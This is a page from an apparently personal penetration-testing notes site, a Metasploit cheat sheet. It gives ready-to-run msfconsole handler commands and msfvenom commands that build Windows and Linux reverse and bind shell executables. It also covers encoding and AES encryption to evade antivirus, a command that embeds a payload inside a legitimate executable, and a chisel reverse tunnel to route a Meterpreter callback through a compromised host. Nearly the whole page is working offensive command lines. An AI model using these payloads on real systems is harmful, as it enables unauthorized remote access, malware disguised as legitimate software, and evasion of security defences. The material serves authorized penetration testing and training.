🤯
Hacker Mind
  • Penetration Testing Notes
    • 00 - Kali Linux Preparation
    • Page 1
    • Web Application (80/443)
      • XSS
      • LFI / Path Traversal
      • Wordpress
    • SMB (445)
    • LDAP
    • MSRPC (135)
    • MSSQL
    • Kerberos (88/tcp)
    • DNS (53)
    • IPv6
    • Import Nessus to Metasploit
  • STUCK? Look at this :D
  • Buffer Overflow
    • WinDbg
    • BoF Script Python
  • Active Directory Recon
    • Username Generation
    • PowerView
    • BloodHound
    • Flooding Attack
  • Payload
    • Sendemail
    • Phishing Payload
    • Bypass All The Things
      • AppLocker
      • MSBuild Shell
      • C# Runner
      • Payload Mod
      • Powershell
      • Bypass AV Linux
        • C Runner
  • Exploit
    • Brute Force
    • File Upload
    • Cracking
    • Shell & Stabilization
    • Database
    • MSSQL Injection
  • Tradecraft
    • Invoke-ReflectivePEInjection
  • Metasploit
    • Meterpreter Tricks
  • Privilege Escalation
    • Lateral Movement
    • Linux
    • Windows
  • Post Exploit
    • Active Directory
      • Kerberos
      • ACLs/ACEs
      • DCSync
      • Golden Ticket with krbtgt
      • LAPS
      • Page
      • Impersonate Token
    • Pivoting
      • Pivot in a Case
    • Transfer File
    • Exfiltration
    • Persistence
  • WiFi Pentesting
    • WPA-PSK
    • WPA-E (hostapd)
    • Attack WEP
    • Evil Twin - Wi-Fi
    • WPA3 Downgrade
  • Hardware Hacking
    • Information Gathering
  • Practice & Lab
Powered by GitBook
On this page
  • Handler C2 Meterpreter
  • Payload Windows
  • Reverse Shell
  • Bind Shell
  • Payload Linux
  • Reverse Shell
  • Bind Shell
  • Metasploit Encoder
  • Metasploit Reverse Payload with Reverse Individual Proxy

Metasploit

Handler C2 Meterpreter

msfconsole -x "use exploit/multi/handler;set payload windows/meterpreter/reverse_tcp;set LHOST <listening_host>;set LPORT <listening_port>;run;"

Payload Windows

Reverse Shell

msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > reverse.exe

Bind Shell

msfvenom -p windows/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f exe > bind.exe

Payload Linux

Reverse Shell

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f elf > reverse.elf
msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f elf > shell.elf

Bind Shell

msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f elf > bind.elf

Metasploit Encoder

msfvenom --list encoders

# x86/shikata_ga_nai
# reverse shell  x86
sudo msfvenom -p windows/meterpreter/reverse_https LHOST=10.10.x.y LPORT=443 -e x86/shikata_ga_nai -f exe -o shell.exe

# x64
sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.x.y LPORT=443 -e x64/zutto_dekiru -f exe -o shell64.exe

# patch the legit exe with payload

sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.x.y LPORT=443 -e <encoder> -x <legit exe> -f exe -o shell_legit.exe

msfvenom --list encrypt

sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.x.y LPORT=443 --encrypt aes256 --encrypt-key <the key> -f exe -o shell_aes.exe

Metasploit Reverse Payload with Reverse Individual Proxy

tunnel reference:

Compromised Machine

./chisel server --reverse --port 8000

Kali Linux

format: chisel client <server chisel>:<port> R:<linux port>:127.0.0.1:

chisel client 192.168.11.4:8000 R:50001:127.0.0.1:443

Generate Payload:

set LHOST to reachable port in compromised machine from target machine.

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.56.107 LPORT=50001 -f exe > proxy_payload.exe

Handler C2 Meterpreter:

because the tunnel set directly to loopback, make sure the LHOST is also loopback (127.0.0.1)

sudo msfconsole -x "use exploit/multi/handler;set payload windows/x64/meterpreter/reverse_https;set LHOST 127.0.0.1;set LPORT 443;run;"

reference:

PreviousInvoke-ReflectivePEInjectionNextMeterpreter Tricks

Last updated 6 months ago

https://medium.com/@techmindxperts/complete-guide-to-metasploit-from-installation-to-exploit-development-eb89a507c07d
https://book.hacktricks.xyz/generic-methodologies-and-resources/reverse-shells/msfvenom
Port Forwarding with C... | 0xBEN - Notes & Cheat Sheets
Logo